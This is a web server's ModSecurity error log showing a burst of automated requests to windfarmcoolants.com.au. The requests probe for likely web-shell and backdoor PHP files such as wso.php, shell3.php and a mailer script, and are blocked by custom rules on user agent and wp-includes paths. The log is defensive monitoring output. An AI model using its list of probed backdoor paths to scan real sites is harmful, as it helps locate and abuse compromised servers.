[Thu Nov 20 21:39:09.272248 2025] [:error] [pid 40445:tid 40495] [client 185.223.152.209:46877] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/index.php"] [unique_id "aR8Z_VH-MuFcoWRjXpaXTgAAAlQ"]
[Thu Nov 20 21:39:09.920345 2025] [:error] [pid 40445:tid 40496] [client 185.223.152.216:47833] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aR8Z_VH-MuFcoWRjXpaXTwAAAlU"]
[Thu Nov 20 21:39:10.566346 2025] [:error] [pid 40537:tid 40564] [client 185.223.152.225:58665] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/222.php"] [unique_id "aR8Z_qKlsL5kxTa3c1wAZgAAAtc"]
[Thu Nov 20 21:39:11.212695 2025] [:error] [pid 55430:tid 55447] [client 185.223.152.208:52097] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-parsidate/includes/admin/acf-fields-adyrui.php"] [unique_id "aR8Z__PZXaIMEU4pE7sgzQAAAM4"]
[Thu Nov 20 21:39:11.858496 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.223:57717] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/aback.php"] [unique_id "aR8Z_zFpvu8oRK7ATftAjgAAAQk"]
[Thu Nov 20 21:39:12.506593 2025] [:error] [pid 55340:tid 55363] [client 185.223.152.8:29093] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aR8aAPOxD-NeMydTybC-xwAAABI"]
[Thu Nov 20 21:39:13.156327 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.209:25149] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ad.php"] [unique_id "aR8aAfPZXaIMEU4pE7sg0AAAANY"]
[Thu Nov 20 21:39:13.803501 2025] [:error] [pid 55340:tid 55364] [client 185.223.152.208:61055] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/moderation.php"] [unique_id "aR8aAfOxD-NeMydTybC-ywAAABM"]
[Thu Nov 20 21:39:14.452775 2025] [:error] [pid 40445:tid 40476] [client 185.223.152.210:42213] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/classwithtostring.php"] [unique_id "aR8aAlH-MuFcoWRjXpaXWgAAAkE"]
[Thu Nov 20 21:39:15.097926 2025] [:error] [pid 40537:tid 40542] [client 185.223.152.7:36985] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aR8aA6KlsL5kxTa3c1wAaQAAAsE"]
[Thu Nov 20 21:39:15.744814 2025] [:error] [pid 40508:tid 40526] [client 185.223.152.226:33115] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/jindex.php"] [unique_id "aR8aA6xXNVCMW_ksxPvfSQAAApA"]
[Thu Nov 20 21:39:16.390968 2025] [:error] [pid 40636:tid 40645] [client 185.223.152.209:32943] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wso.php"] [unique_id "aR8aBAK8BWUoW3xq0HAsmwAAA4U"]
[Thu Nov 20 21:39:17.041714 2025] [:error] [pid 40445:tid 40482] [client 185.223.152.221:30119] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/erinyani/default.php"] [unique_id "aR8aBVH-MuFcoWRjXpaXYgAAAkc"]
[Thu Nov 20 21:39:17.687496 2025] [:error] [pid 40445:tid 40478] [client 185.223.152.217:62221] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/leaf.php"] [unique_id "aR8aBVH-MuFcoWRjXpaXYwAAAkM"]
[Thu Nov 20 21:39:18.334995 2025] [:error] [pid 55342:tid 55390] [client 185.223.152.7:64739] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/mainhosting/default.php"] [unique_id "aR8aBrg6x32Tvk7fIG8C-gAAAFI"]
[Thu Nov 20 21:39:18.981830 2025] [:error] [pid 40508:tid 40513] [client 185.223.152.218:22385] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aR8aBqxXNVCMW_ksxPvfTgAAAoM"]
[Thu Nov 20 21:39:19.629172 2025] [:error] [pid 34405:tid 34422] [client 185.223.152.5:31339] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/inc.php"] [unique_id "aR8aBzFpvu8oRK7ATftAnwAAAQ8"]
[Thu Nov 20 21:39:20.277452 2025] [:error] [pid 40508:tid 40523] [client 185.223.152.225:53109] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/system_log.php"] [unique_id "aR8aCKxXNVCMW_ksxPvfUAAAAo0"]
[Thu Nov 20 21:39:20.923749 2025] [:error] [pid 40445:tid 40481] [client 185.223.152.208:53217] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "aR8aCFH-MuFcoWRjXpaXawAAAkY"]
[Thu Nov 20 21:39:21.574338 2025] [:error] [pid 55430:tid 55437] [client 185.223.152.206:43317] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/sim.php"] [unique_id "aR8aCfPZXaIMEU4pE7sg1gAAAMQ"]
[Thu Nov 20 21:39:22.221119 2025] [:error] [pid 40508:tid 40529] [client 185.223.152.220:24233] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "aR8aCqxXNVCMW_ksxPvfUgAAApM"]
[Thu Nov 20 21:39:22.867024 2025] [:error] [pid 40445:tid 40490] [client 185.223.152.223:51205] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/core.php"] [unique_id "aR8aClH-MuFcoWRjXpaXbAAAAk8"]
[Thu Nov 20 21:39:23.514728 2025] [:error] [pid 40636:tid 40658] [client 185.223.152.212:32819] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/mail.php"] [unique_id "aR8aCwK8BWUoW3xq0HAsngAAA5I"]
[Thu Nov 20 21:39:24.160584 2025] [:error] [pid 40415:tid 40424] [client 185.223.152.223:50389] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aR8aDKhjIyLSv09svwPQXgAAAcY"]
[Thu Nov 20 21:39:24.808849 2025] [:error] [pid 40445:tid 40491] [client 185.223.152.218:21101] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xml.php"] [unique_id "aR8aDFH-MuFcoWRjXpaXbwAAAlA"]
[Thu Nov 20 21:39:25.455920 2025] [:error] [pid 40445:tid 40489] [client 185.223.152.223:50737] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "aR8aDVH-MuFcoWRjXpaXcgAAAk4"]
[Thu Nov 20 21:39:26.126390 2025] [:error] [pid 40508:tid 40525] [client 185.223.152.5:45571] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/images/class-config.php"] [unique_id "aR8aDqxXNVCMW_ksxPvfYQAAAo8"]
[Thu Nov 20 21:39:26.774004 2025] [:error] [pid 34405:tid 34424] [client 185.223.152.205:42721] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aR8aDjFpvu8oRK7ATftAqgAAARE"]
[Thu Nov 20 21:39:27.423470 2025] [:error] [pid 40508:tid 40524] [client 185.223.152.5:43763] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mail.php"] [unique_id "aR8aD6xXNVCMW_ksxPvfZAAAAo4"]
[Thu Nov 20 21:39:28.069539 2025] [:error] [pid 40445:tid 40485] [client 185.223.152.208:56011] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/default.php"] [unique_id "aR8aEFH-MuFcoWRjXpaXiAAAAko"]
[Thu Nov 20 21:39:28.717801 2025] [:error] [pid 55430:tid 55447] [client 185.223.152.6:53043] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/back.php"] [unique_id "aR8aEPPZXaIMEU4pE7sg2QAAAM4"]
[Thu Nov 20 21:39:29.371579 2025] [:error] [pid 55343:tid 55404] [client 185.223.152.227:24901] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aR8aEVWlO3EnyVMV7w7RpgAAAIU"]
[Thu Nov 20 21:39:30.021564 2025] [:error] [pid 40508:tid 40517] [client 185.223.152.208:61605] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/content.php"] [unique_id "aR8aEqxXNVCMW_ksxPvfagAAAoc"]
[Thu Nov 20 21:39:30.670824 2025] [:error] [pid 40445:tid 40493] [client 185.223.152.206:24771] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/leafmailer2.8.php"] [unique_id "aR8aElH-MuFcoWRjXpaXigAAAlI"]
[Thu Nov 20 21:39:31.323119 2025] [:error] [pid 40508:tid 40532] [client 185.223.152.217:51147] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aR8aE6xXNVCMW_ksxPvfbQAAApY"]
[Thu Nov 20 21:39:32.002906 2025] [:error] [pid 55340:tid 55347] [client 185.223.152.217:28329] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/up.php"] [unique_id "aR8aFPOxD-NeMydTybC-7wAAAAI"]
[Thu Nov 20 21:39:32.649685 2025] [:error] [pid 40415:tid 40428] [client 185.223.152.213:48631] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wsa.php"] [unique_id "aR8aFKhjIyLSv09svwPQZgAAAco"]
[Thu Nov 20 21:39:33.298153 2025] [:error] [pid 55430:tid 55452] [client 185.223.152.205:45503] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aR8aFfPZXaIMEU4pE7sg2wAAANM"]
[Thu Nov 20 21:39:33.945738 2025] [:error] [pid 55430:tid 55443] [client 185.223.152.227:61773] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-l0gin.php"] [unique_id "aR8aFfPZXaIMEU4pE7sg3AAAAMo"]
[Thu Nov 20 21:39:34.591127 2025] [:error] [pid 55342:tid 55375] [client 185.223.152.205:64775] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/index.php"] [unique_id "aR8aFrg6x32Tvk7fIG8DBQAAAEM"]
[Thu Nov 20 21:39:35.238660 2025] [:error] [pid 40415:tid 40441] [client 185.223.152.206:63519] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentyfifteen/shell3.php"] [unique_id "aR8aF6hjIyLSv09svwPQaQAAAdc"]
[Thu Nov 20 21:39:35.988692 2025] [:error] [pid 55430:tid 55434] [client 185.223.152.211:64997] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/azusa/inc/wp-host.php"] [unique_id "aR8aF_PZXaIMEU4pE7sg3QAAAME"]
[Thu Nov 20 21:39:36.635755 2025] [:error] [pid 40508:tid 40523] [client 185.223.152.7:62193] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/better-wp-security/vendor-prod/composer/autoload.php"] [unique_id "aR8aGKxXNVCMW_ksxPvfhgAAAo0"]
[Thu Nov 20 21:39:37.288022 2025] [:error] [pid 40537:tid 40559] [client 185.223.152.209:35989] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/woocommerce-to-wechatapp/vendor/overtrue/wechat/src/OpenPlatform/Authorizer/MiniProgram/Domain/Current.php"] [unique_id "aR8aGaKlsL5kxTa3c1wAfAAAAtI"]
[Thu Nov 20 21:39:39.317308 2025] [:error] [pid 55430:tid 55438] [client 185.223.152.223:29807] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "aR8aG_PZXaIMEU4pE7sg3wAAAMU"]
[Thu Nov 20 21:39:39.967612 2025] [:error] [pid 55430:tid 55436] [client 185.223.152.220:27003] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/ga.php"] [unique_id "aR8aG_PZXaIMEU4pE7sg4AAAAMM"]
[Thu Nov 20 21:39:40.614041 2025] [:error] [pid 55430:tid 55437] [client 185.223.152.213:33491] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-author-name/index.php"] [unique_id "aR8aHPPZXaIMEU4pE7sg4gAAAMQ"]
[Thu Nov 20 21:39:41.263891 2025] [:error] [pid 55340:tid 55348] [client 185.223.152.220:27577] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/list/144.php"] [unique_id "aR8aHfOxD-NeMydTybC-9wAAAAM"]
[Thu Nov 20 21:39:41.910965 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.226:27607] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/mach.php"] [unique_id "aR8aHfPZXaIMEU4pE7sg5AAAAMw"]
[Thu Nov 20 21:39:42.560325 2025] [:error] [pid 40445:tid 40483] [client 185.223.152.212:49925] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aR8aHlH-MuFcoWRjXpaXkgAAAkg"]
[Thu Nov 20 21:39:43.207094 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.223:20249] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php"] [unique_id "aR8aH1WlO3EnyVMV7w7RqQAAAIA"]
[Thu Nov 20 21:39:45.235581 2025] [:error] [pid 55343:tid 55408] [client 185.223.152.213:59213] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/kontol/kiw.php"] [unique_id "aR8aIVWlO3EnyVMV7w7RrgAAAIk"]
[Thu Nov 20 21:39:45.882045 2025] [:error] [pid 55343:tid 55415] [client 185.223.152.219:38003] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aR8aIVWlO3EnyVMV7w7RrwAAAJA"]
